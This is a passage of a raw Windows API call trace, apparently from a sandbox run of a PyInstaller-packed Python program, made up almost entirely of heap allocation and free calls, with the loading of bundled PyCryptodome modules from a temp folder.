[0076.341] GetLastError () returned 0x0 [0076.341] GetCurrentThreadId () returned 0x9b0 [0076.342] GetLastError () returned 0x0 [0076.342] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de778 | out: hHeap=0x2ad0000) returned 1 [0076.342] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20138 | out: hHeap=0x2ad0000) returned 1 [0076.342] GetLastError () returned 0x0 [0076.342] GetLastError () returned 0x0 [0076.342] GetCurrentThreadId () returned 0x9b0 [0076.342] GetLastError () returned 0x0 [0076.342] GetCurrentThreadId () returned 0x9b0 [0076.342] GetLastError () returned 0x0 [0076.342] GetLastError () returned 0x0 [0076.342] GetCurrentThreadId () returned 0x9b0 [0076.342] GetLastError () returned 0x0 [0076.342] GetCurrentThreadId () returned 0x9b0 [0076.342] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8f9) returned 0x3667680 [0076.342] GetLastError () returned 0x0 [0076.342] GetLastError () returned 0x0 [0076.343] GetCurrentThreadId () returned 0x9b0 [0076.343] GetLastError () returned 0x0 [0076.343] GetCurrentThreadId () returned 0x9b0 [0076.343] GetLastError () returned 0x0 [0076.343] GetLastError () returned 0x0 [0076.343] GetCurrentThreadId () returned 0x9b0 [0076.343] GetLastError () returned 0x0 [0076.343] GetLastError () returned 0x0 [0076.343] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0076.343] CloseHandle (hObject=0x300) returned 1 [0076.343] GetLastError () returned 0x0 [0076.343] GetCurrentThreadId () returned 0x9b0 [0076.343] GetLastError () returned 0x0 [0076.343] GetLastError () returned 0x0 [0076.343] GetCurrentThreadId () returned 0x9b0 [0076.344] GetLastError () returned 0x0 [0076.344] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3620400 | out: hHeap=0x2ad0000) returned 1 [0076.344] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33e7e30, Size=0x172b) returned 0x33e7e30 [0076.344] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3667680 | out: hHeap=0x2ad0000) returned 1 [0076.344] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c85598 [0076.344] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c85598, Size=0x20) returned 0x3028260 [0076.344] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3bf) returned 0x3667680 [0076.344] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028260, Size=0x40) returned 0x2a19250 [0076.344] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19250, Size=0x64) returned 0x2a196c8 [0076.344] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a196c8, Size=0x8c) returned 0x2ac07e0 [0076.344] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac07e0, Size=0xb8) returned 0x325f830 [0076.345] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x325f830, Size=0xe8) returned 0x33d1560 [0076.345] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33d1560 | out: hHeap=0x2ad0000) returned 1 [0076.345] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e7e30 | out: hHeap=0x2ad0000) returned 1 [0076.345] GetCurrentThreadId () returned 0x9b0 [0076.345] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de778 [0076.345] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de778 | out: hHeap=0x2ad0000) returned 1 [0076.345] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34b0378 [0076.345] GetCurrentThreadId () returned 0x9b0 [0076.345] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0076.345] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0076.345] GetCurrentThreadId () returned 0x9b0 [0076.345] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x54) returned 0x2aa2d38 [0076.345] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2d38 | out: hHeap=0x2ad0000) returned 1 [0076.345] GetCurrentThreadId () returned 0x9b0 [0076.345] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0076.346] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0076.346] GetCurrentThreadId () returned 0x9b0 [0076.346] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x358a018 [0076.346] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34b0378 | out: hHeap=0x2ad0000) returned 1 [0076.346] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0076.346] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de778 [0076.346] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de788 [0076.346] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c855b0 [0076.346] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de788 | out: hHeap=0x2ad0000) returned 1 [0076.346] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de788 [0076.346] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de688 [0076.346] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c855b0 | out: hHeap=0x2ad0000) returned 1 [0076.346] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de788 | out: hHeap=0x2ad0000) returned 1 [0076.346] GetLastError () returned 0x0 [0076.346] GetLastError () returned 0x0 [0076.346] GetLastError () returned 0x0 [0076.346] GetLastError () returned 0x0 [0076.347] GetFullPathNameA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\Crypto\\Util\\_file_system.pyc", nBufferLength=0x208, lpBuffer=0x9b9378, lpFilePart=0x9b9374 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\Crypto\\Util\\_file_system.pyc", lpFilePart=0x9b9374*="_file_system.pyc") returned 0x48 [0076.347] GetCurrentThreadId () returned 0x9b0 [0076.347] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0076.347] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0076.347] GetCurrentThreadId () returned 0x9b0 [0076.347] GetCurrentThreadId () returned 0x9b0 [0076.347] GetCurrentThreadId () returned 0x9b0 [0076.347] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de688 | out: hHeap=0x2ad0000) returned 1 [0076.347] GetCurrentThreadId () returned 0x9b0 [0076.347] GetLastError () returned 0x0 [0076.347] GetCurrentThreadId () returned 0x9b0 [0076.347] GetLastError () returned 0x0 [0076.347] GetCurrentThreadId () returned 0x9b0 [0076.348] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0076.348] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0076.348] GetCurrentThreadId () returned 0x9b0 [0076.348] GetLastError () returned 0x0 [0076.348] GetLastError () returned 0x0 [0076.348] GetLastError () returned 0x0 [0076.348] GetLastError () returned 0x0 [0076.348] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85568 | out: hHeap=0x2ad0000) returned 1 [0076.348] LoadLibraryA (lpLibFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\Crypto\\Util\\..\\Hash\\_SHA1.pyd") [0076.353] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x80) returned 0x3461a38 [0076.353] GetCurrentThreadId () returned 0x9b0 [0076.353] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34b0378 [0076.353] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x2cdc9d0 [0076.353] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de5b8 [0076.353] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c85418 [0076.353] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c85478 [0076.353] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de5d8 [0076.353] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de498 [0076.353] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33de5d8, Size=0x14) returned 0x31839e0 [0076.353] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de498 | out: hHeap=0x2ad0000) returned 1 [0076.353] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85478 | out: hHeap=0x2ad0000) returned 1 [0076.353] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85418 | out: hHeap=0x2ad0000) returned 1 [0076.353] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de5b8 | out: hHeap=0x2ad0000) returned 1 [0076.353] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31839e0 | out: hHeap=0x2ad0000) returned 1 [0076.354] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34b0378 | out: hHeap=0x2ad0000) returned 1 [0076.354] GetCurrentThreadId () returned 0x9b0 [0076.354] GetLastError () returned 0x0 [0076.354] GetCurrentThreadId () returned 0x9b0 [0076.354] GetLastError () returned 0x0 [0076.354] GetCurrentThreadId () returned 0x9b0 [0076.354] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c85328 [0076.354] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85328 | out: hHeap=0x2ad0000) returned 1 [0076.354] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x368) returned 0x3667a48 [0076.354] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f390 [0076.354] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f390 | out: hHeap=0x2ad0000) returned 1 [0076.354] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361ef48 [0076.354] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361ef48 | out: hHeap=0x2ad0000) returned 1 [0076.354] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3667a48 | out: hHeap=0x2ad0000) returned 1 [0076.354] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d9e0 [0076.355] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c85598 [0076.355] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d9e0 | out: hHeap=0x2ad0000) returned 1 [0076.355] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c8c0 [0076.355] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x38b) returned 0x3667a48 [0076.355] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c8c0 | out: hHeap=0x2ad0000) returned 1 [0076.355] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x38b) returned 0x3620400 [0076.355] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3667a48 | out: hHeap=0x2ad0000) returned 1 [0076.355] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85598 | out: hHeap=0x2ad0000) returned 1 [0076.355] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e6b8 [0076.355] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c85340 [0076.355] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e6b8 | out: hHeap=0x2ad0000) returned 1 [0076.355] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85340 | out: hHeap=0x2ad0000) returned 1 [0076.355] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361ef48 [0076.355] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c855e0 [0076.355] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361ef48 | out: hHeap=0x2ad0000) returned 1 [0076.355] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c855e0 | out: hHeap=0x2ad0000) returned 1 [0076.355] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361eb00 [0076.356] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c85598 [0076.356] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361eb00 | out: hHeap=0x2ad0000) returned 1 [0076.356] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85598 | out: hHeap=0x2ad0000) returned 1 [0076.356] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361de28 [0076.356] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361de28 | out: hHeap=0x2ad0000) returned 1 [0076.356] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c855e0 [0076.356] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c855e0 | out: hHeap=0x2ad0000) returned 1 [0076.356] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361cd08 [0076.356] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c85400 [0076.356] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361cd08 | out: hHeap=0x2ad0000) returned 1 [0076.356] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85400 | out: hHeap=0x2ad0000) returned 1 [0076.356] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x368) returned 0x3667a48 [0076.356] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0076.356] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3667a48 | out: hHeap=0x2ad0000) returned 1 [0076.356] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3262fe0, Size=0x1) returned 0x33de528 [0076.356] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d598 [0076.356] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c854d8 [0076.357] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d598 | out: hHeap=0x2ad0000) returned 1 [0076.357] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c854d8 | out: hHeap=0x2ad0000) returned 1 [0076.357] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c478 [0076.357] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c85340 [0076.357] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c478 | out: hHeap=0x2ad0000) returned 1 [0076.357] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85340 | out: hHeap=0x2ad0000) returned 1 [0076.357] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de528 | out: hHeap=0x2ad0000) returned 1 [0076.357] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1000) returned 0x2cc74f0 [0076.357] GetCurrentThreadId () returned 0x9b0 [0076.357] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f7d8 [0076.357] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c85460 [0076.357] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f7d8 | out: hHeap=0x2ad0000) returned 1 [0076.357] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361ef48 [0076.357] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361ef48 | out: hHeap=0x2ad0000) returned 1 [0076.357] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e6b8 [0076.357] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e6b8 | out: hHeap=0x2ad0000) returned 1 [0076.357] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c8c0 [0076.358] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c8c0 | out: hHeap=0x2ad0000) returned 1 [0076.358] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c030 [0076.358] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c85460, Size=0x20) returned 0x3028328 [0076.358] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c030 | out: hHeap=0x2ad0000) returned 1 [0076.358] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361cd08 [0076.358] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361cd08 | out: hHeap=0x2ad0000) returned 1 [0076.358] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d598 [0076.358] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d598 | out: hHeap=0x2ad0000) returned 1 [0076.358] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c030 [0076.358] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c030 | out: hHeap=0x2ad0000) returned 1 [0076.358] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f7d8 [0076.358] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028328, Size=0x40) returned 0x2a18f38 [0076.358] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f7d8 | out: hHeap=0x2ad0000) returned 1 [0076.358] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f7d8 [0076.358] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f7d8 | out: hHeap=0x2ad0000) returned 1 [0076.358] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e270 [0076.358] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e270 | out: hHeap=0x2ad0000) returned 1 [0076.358] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e6b8 [0076.358] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e6b8 | out: hHeap=0x2ad0000) returned 1 [0076.359] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f390 [0076.359] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f390 | out: hHeap=0x2ad0000) returned 1 [0076.359] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e6b8 [0076.359] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e6b8 | out: hHeap=0x2ad0000) returned 1 [0076.359] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e270 [0076.359] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e270 | out: hHeap=0x2ad0000) returned 1 [0076.359] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d598 [0076.359] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d598 | out: hHeap=0x2ad0000) returned 1 [0076.359] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d598 [0076.359] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18f38, Size=0x64) returned 0x2a19508 [0076.359] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d598 | out: hHeap=0x2ad0000) returned 1 [0076.359] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361de28 [0076.359] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361de28 | out: hHeap=0x2ad0000) returned 1 [0076.359] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361de28 [0076.359] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361de28 | out: hHeap=0x2ad0000) returned 1 [0076.359] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361cd08 [0076.359] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361cd08 | out: hHeap=0x2ad0000) returned 1 [0076.359] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361ef48 [0076.360] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361ef48 | out: hHeap=0x2ad0000) returned 1 [0076.360] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c030 [0076.360] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c030 | out: hHeap=0x2ad0000) returned 1 [0076.360] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e270 [0076.360] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e270 | out: hHeap=0x2ad0000) returned 1 [0076.360] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361ef48 [0076.360] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361ef48 | out: hHeap=0x2ad0000) returned 1 [0076.360] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f7d8 [0076.360] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f7d8 | out: hHeap=0x2ad0000) returned 1 [0076.360] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e270 [0076.360] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19508, Size=0x8c) returned 0x2ac0a40 [0076.360] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e270 | out: hHeap=0x2ad0000) returned 1 [0076.360] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361cd08 [0076.360] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361cd08 | out: hHeap=0x2ad0000) returned 1 [0076.360] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c030 [0076.360] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c030 | out: hHeap=0x2ad0000) returned 1 [0076.361] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361cd08 [0076.361] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361cd08 | out: hHeap=0x2ad0000) returned 1 [0076.361] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361eb00 [0076.361] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361eb00 | out: hHeap=0x2ad0000) returned 1 [0076.361] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361de28 [0076.361] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361de28 | out: hHeap=0x2ad0000) returned 1 [0076.361] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361eb00 [0076.361] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361eb00 | out: hHeap=0x2ad0000) returned 1 [0076.361] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d598 [0076.361] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d598 | out: hHeap=0x2ad0000) returned 1 [0076.361] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e6b8 [0076.361] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e6b8 | out: hHeap=0x2ad0000) returned 1 [0076.361] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361cd08 [0076.361] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361cd08 | out: hHeap=0x2ad0000) returned 1 [0076.361] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361eb00 [0076.361] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0a40, Size=0xb8) returned 0x325fb30 [0076.361] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361eb00 | out: hHeap=0x2ad0000) returned 1 [0076.361] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e6b8 [0076.361] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e6b8 | out: hHeap=0x2ad0000) returned 1 [0076.362] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361eb00 [0076.362] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361eb00 | out: hHeap=0x2ad0000) returned 1 [0076.362] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c030 [0076.362] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c030 | out: hHeap=0x2ad0000) returned 1 [0076.362] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d150 [0076.362] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d150 | out: hHeap=0x2ad0000) returned 1 [0076.362] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c030 [0076.362] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c030 | out: hHeap=0x2ad0000) returned 1 [0076.362] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361ef48 [0076.362] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361ef48 | out: hHeap=0x2ad0000) returned 1 [0076.362] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361de28 [0076.362] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361de28 | out: hHeap=0x2ad0000) returned 1 [0076.362] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e270 [0076.362] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e270 | out: hHeap=0x2ad0000) returned 1 [0076.362] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e270 [0076.362] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e270 | out: hHeap=0x2ad0000) returned 1 [0076.362] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e6b8 [0076.362] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e6b8 | out: hHeap=0x2ad0000) returned 1 [0076.363] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361cd08 [0076.363] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x325fb30, Size=0xe8) returned 0x33d1920 [0076.363] HeapFree (in: hHeap=0x2ad0000, 